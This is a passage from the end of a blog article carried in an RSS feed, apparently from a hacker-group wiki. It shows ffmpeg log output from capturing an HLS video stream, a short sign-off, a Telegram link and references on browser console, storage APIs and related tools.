[hls @ 0x7fb624000bc0] Skip ('#EXT-X-VERSION:6')B sq=    0B f=0/0   
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-INDEPENDENT-SEGMENTS')
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-DISCONTINUITY-SEQUENCE:2')
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-PROGRAM-DATE-TIME:2022-08-28T23:22:36.257+0000')
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-PROGRAM-DATE-TIME:2022-08-28T23:22:38.317+0000')
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-PROGRAM-DATE-TIME:2022-08-28T23:22:40.323+0000')
[https @ 0x7fb624015980] Opening 'https://b-hls-16.doppiocdn.com/hls/17085196/17085196_480p.m3u8' for reading
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-VERSION:6')B sq=    0B f=0/0   
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-INDEPENDENT-SEGMENTS')
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-DISCONTINUITY-SEQUENCE:2')
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-PROGRAM-DATE-TIME:2022-08-28T23:22:36.288+0000')
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-PROGRAM-DATE-TIME:2022-08-28T23:22:38.247+0000')
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-PROGRAM-DATE-TIME:2022-08-28T23:22:40.300+0000')
</code></pre>
<blockquote>
<p>Nope, I won't show you nice pictures of the captured stream :D</p>
</blockquote>
<p>I won't go in detail about it as it will be quite off topic but maybe in another wiki article.</p>
<h2 id="heading-thanks">Thanks</h2>
<p>Thanks for reading. Please share your thoughts in the <a target="_blank" href="https://t.me/thcorg">Telegram Channel</a>.</p>
<h2 id="heading-references">References</h2>
<ul>
<li><a target="_blank" href="https://developers.google.com/web/tools/chrome-devtools/console/console-reference">https://developers.google.com/web/tools/chrome-devtools/console/console-reference</a></li>
<li><a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/API/console">https://developer.mozilla.org/en-US/docs/Web/API/console</a></li>
<li><a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API">https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API</a></li>
<li><a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API">https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API</a></li>
<li><a target="_blank" href="https://feross.org/fill-disk/">https://feross.org/fill-disk/</a></li>
<li><a target="_blank" href="https://github.com/staaldraad/turner">https://github.com/staaldraad/turner</a></li>
</ul>
]]></content:encoded></item></channel></rss>